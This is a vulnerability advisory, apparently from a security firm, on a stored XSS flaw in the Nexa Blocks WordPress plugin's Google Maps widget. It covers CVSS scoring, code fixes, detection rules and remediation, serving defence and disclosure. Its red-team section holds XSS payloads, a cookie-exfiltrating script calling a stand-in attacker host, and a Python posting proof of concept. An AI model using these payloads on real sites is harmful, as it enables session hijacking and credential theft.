CVE-2025-8624

Executive Summary

CVE-2025-8624 is a Stored Cross-Site Scripting (XSS) vulnerability in the Nexa Blocks WordPress plugin, affecting all versions up to and including 1.1.0. The flaw resides in the plugin's Google Maps widget, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No open-source patch data (OSV) or GitHub advisory context is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes it a persistent risk for sites using the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the need for authenticated access and user interaction, but the potential for stored XSS in a widely-used plugin warrants immediate attention.

Deep Dive & Mechanics

The vulnerability exists in the Google Maps widget provided by the Nexa Blocks plugin. The widget accepts user-defined attributes (e.g., lat, lng, zoom, title, description) to customize the map. The plugin fails to sanitize these attributes before storing them in the WordPress database and fails to escape them when rendering the widget on the front end.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page.
2. The attacker inserts the Nexa Blocks Google Maps widget and injects malicious JavaScript into an attribute (e.g., title or description).
3. The plugin stores the malicious payload in the database without sanitization.
4. When any user (including admins) views the page, the payload is rendered in the browser, executing the attacker's script.

Example Payload:

[nexa_google_maps lat="40.7128" lng="-74.0060" title="<script>alert('XSS')</script>"]

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the plugin's rendering function. A patched version would use esc_attr() or wp_kses() to sanitize output.

Vulnerable Code (Conceptual):

echo '<div class="nexa-map" data-title="' . $attributes['title'] . '">';

Patched Code (Conceptual):

echo '<div class="nexa-map" data-title="' . esc_attr($attributes['title']) . '">';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Nexa Blocks plugin <= 1.1.0
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Insert the Nexa Blocks Google Maps block.
4. In the block settings, inject a payload into the title attribute:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the post.
6. Wait for an admin or other user to view the post. The script will execute, exfiltrating cookies.

Proof-of-Concept (Python):

import requests

url = "http://target.com/wp-admin/post.php"
cookies = {"wordpress_logged_in": "..."}
data = {
    "post_title": "Malicious Post",
    "content": "<!-- wp:nexa-blocks/google-maps {\"lat\":\"40.7128\",\"lng\":\"-74.0060\",\"title\":\"<script>alert('XSS')</script>\"} /-->",
    "post_status": "publish"
}
requests.post(url, cookies=cookies, data=data)

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts containing <script> tags in custom fields or block attributes.
• Use Web Application Firewall (WAF) rules to block XSS payloads in post content.

Prevention:

• Disable the Nexa Blocks plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/nexa-blocks/ (presence of the plugin)
• Database: Posts containing <script> tags in post_content or post_meta related to Nexa Blocks
• Network: Outbound requests to attacker-controlled domains from WordPress admin pages
• Logs: Unusual post creation or editing activity by contributor-level users

Detection Engineering

YARA Rule

rule detect_nexa_blocks_xss {
    meta:
        description = "Detects stored XSS payloads in Nexa Blocks plugin"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $payload = /<script[^>]*>.*?<\/script>/i
        $plugin = "nexa-blocks"
    condition:
        $plugin and #payload > 0
}

Sigma Rule

title: Stored XSS via Nexa Blocks Google Maps Widget
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in WordPress posts using Nexa Blocks plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body: '*nexa-blocks*'
        http.body: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"Stored XSS - Nexa Blocks Google Maps Widget"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"nexa-blocks"; http_client_body; content:"<script>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Audit existing posts for injected scripts using the YARA rule above.
3. Remove any malicious content from the database.

Long-term Fix:

• The vendor must release a patched version (e.g., 1.1.1) that sanitizes all user-supplied attributes using esc_attr() and wp_kses_post().
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce the principle of least privilege for user roles.

Workaround:

• If the plugin cannot be disabled, use a WordPress security plugin (e.g., Wordfence) to block XSS payloads in post content.

Valters IT